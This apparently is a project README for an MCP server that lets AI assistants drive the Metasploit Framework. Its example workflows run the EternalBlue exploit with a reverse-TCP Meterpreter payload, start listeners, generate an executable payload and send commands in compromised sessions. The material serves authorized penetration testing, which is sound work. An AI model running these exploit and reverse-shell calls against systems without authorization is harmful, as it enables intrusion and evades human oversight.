README - Metasploit MCP Server by gh05tcrew

Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information

list_exploits: Search and list available Metasploit exploit modules
list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

Exploitation Workflow

run_exploit: Configure and execute an exploit against a target with options to run checks first
run_auxiliary_module: Run any Metasploit auxiliary module with custom options
run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

generate_payload: Generate payload files using Metasploit RPC (saves files locally)

Session Management

list_active_sessions: Show current Metasploit sessions with detailed information
send_session_command: Run a command in an active shell or Meterpreter session
terminate_session: Forcefully end an active session

Handler Management

list_listeners: Show all active handlers and background jobs
start_listener: Create a new multi/handler to receive connections
stop_job: Terminate any running job or handler

Prerequisites

Metasploit Framework installed and msfrpcd running
Python 3.10 or higher
Required Python packages (see requirements.txt)

Installation

Clone this repository
Install dependencies:
```
pip install -r requirements.txt
```

Configure environment variables (optional):

MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transport Options

The server supports two transport methods:

HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Other MCP Clients

For other MCP clients that use HTTP/SSE:

Start the server in HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Configure your MCP client to connect to:
- SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

Always validate and review all commands before execution
Only run in segregated test environments or with proper authorization
Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

List available exploits: list_exploits("ms17_010")
Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
List sessions: list_active_sessions()
Run commands: send_session_command(1, "whoami")

Post-Exploitation

Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
Send custom commands: send_session_command(1, "sysinfo")
Terminate when done: terminate_session(1)

Handler Management

Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
List active handlers: list_listeners()
Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
Stop a handler: stop_job(1)

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

Windows (PowerShell):

$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"

Windows (Command Prompt):

set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads

Linux/macOS:

export PAYLOAD_SAVE_DIR=/custom/path/to/payloads

In Claude Desktop config:

"env": {
    "MSF_PASSWORD": "yourpassword",
    "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
}

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

License

Apache 2.0